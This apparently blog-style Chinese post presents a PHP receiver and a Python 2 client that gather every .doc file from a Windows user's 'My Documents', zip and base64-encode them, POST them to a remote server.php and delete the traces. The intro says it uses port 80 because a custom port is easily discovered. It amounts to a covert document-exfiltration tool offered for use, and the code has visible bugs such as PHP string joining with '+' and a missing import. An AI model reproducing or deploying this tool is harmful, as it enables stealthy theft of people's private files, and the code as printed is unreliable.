python程序传输文件改进版 PHP作服务端

1、作为程序,自己开2000端口,很容易被发现,应该走80端口

2、用PHP作服务端比用python直接IP开server socket 简单,自然且稳定一点(也就一点啦)

 

server.php

 

[php][/php] view plaincopy

  1. <?php
  2.     function unzip_file($file, $destination){
  3.         //php.ini 中 的extension=php_zip.dll 要解注释
  4.         $zip = new ZipArchive() ;
  5.         if ($zip->open($file) !== TRUE) {
  6.             die (‘Could not open archive’);
  7.         }
  8.         $zip->extractTo($destination);
  9.         $zip->close();
  10.         echo ‘ok’.”<br/>”;
  11.     }
  12.     $path = iconv(“UTF-8″,”gb2312″,”C:\\Documents and Settings\\Administrator\\桌面”);
  13.     $filename = $path +”\\out.zip”;
  14.     echo $filename.”<br/>”;
  15.     $fp = fopen($filename,”wb”);
  16.     $encode_data = file_get_contents(“php://input”);
  17.     $decode_data = base64_decode($encode_data);
  18.     fwrite($fp,$decode_data);
  19.     unzip_file($filename,$path);
  20.     echo “finished!”.”<br/>”
  21. ?>

 

 

client.py

 

[python][/python] view plaincopy

  1. # -*- coding: cp936 -*-
  2. import socket
  3. import win32com.client
  4. import win32api
  5. import os
  6. import time
  7. import zipfile
  8. import codecs
  9. import base64
  10. import urllib2,urllib,httplib
  11. def walk_dir(dir,filelist,extName,topdown=True):
  12.     for root, dirs, files in os.walk(dir, topdown):
  13.         for name in files:
  14.             if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
  15.                 filelist.append(os.path.join(root,name))
  16.         for name in dirs:
  17.             if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
  18.                 filelist.append(os.path.join(root,name))
  19. def post_data(data,HOST,PORT):
  20.     conn = httplib.HTTPConnection(HOST,PORT)
  21.     conn.request(‘POST’,’/server.php’,data,{})
  22.     response = conn.getresponse()
  23.     resdata = response.read()
  24.     print response
  25. def main():
  26.     HOST = ‘127.0.0.1’
  27.     PORT = 80
  28.     BUF_SIZE = 65535
  29.     key = ‘ouyang’
  30.     dicName = “C:\Documents and Settings\Administrator\我的文档”
  31.     extName = ‘.doc’
  32.     #遍历搜索我的文档的doc类型
  33.     try:
  34.         filelist = []
  35.         walk_dir(dicName,filelist,extName)
  36.     except IOError,e:
  37.         print “文件处理错误: ” % e
  38.         sys.exit(-1)
  39.     #压缩成zip文件
  40.     zfile = zipfile.ZipFile(‘in.zip’,’w’,zipfile.ZIP_DEFLATED)
  41.     for f in filelist:
  42.         zfile.write(f)
  43.     zfile.close()
  44.     #base 2进制 加密 encode(infile,outfile)
  45.     infile = open(‘in.zip’,’rb’)
  46.     tmpfile = open(‘in.tmp’,’wb’)
  47.     base64.encode(infile,tmpfile)
  48.     infile.close()
  49.     tmpfile.close()
  50.     #send
  51.     tmpfile = open(‘in.tmp’,’rb’)
  52.     post_data(tmpfile.read(),HOST,PORT)
  53.     tmpfile.close()
  54.     #后续处理 删除中间文件
  55.     os.remove(‘in.tmp’)
  56. if __name__==’__main__’:
  57.     main()

标签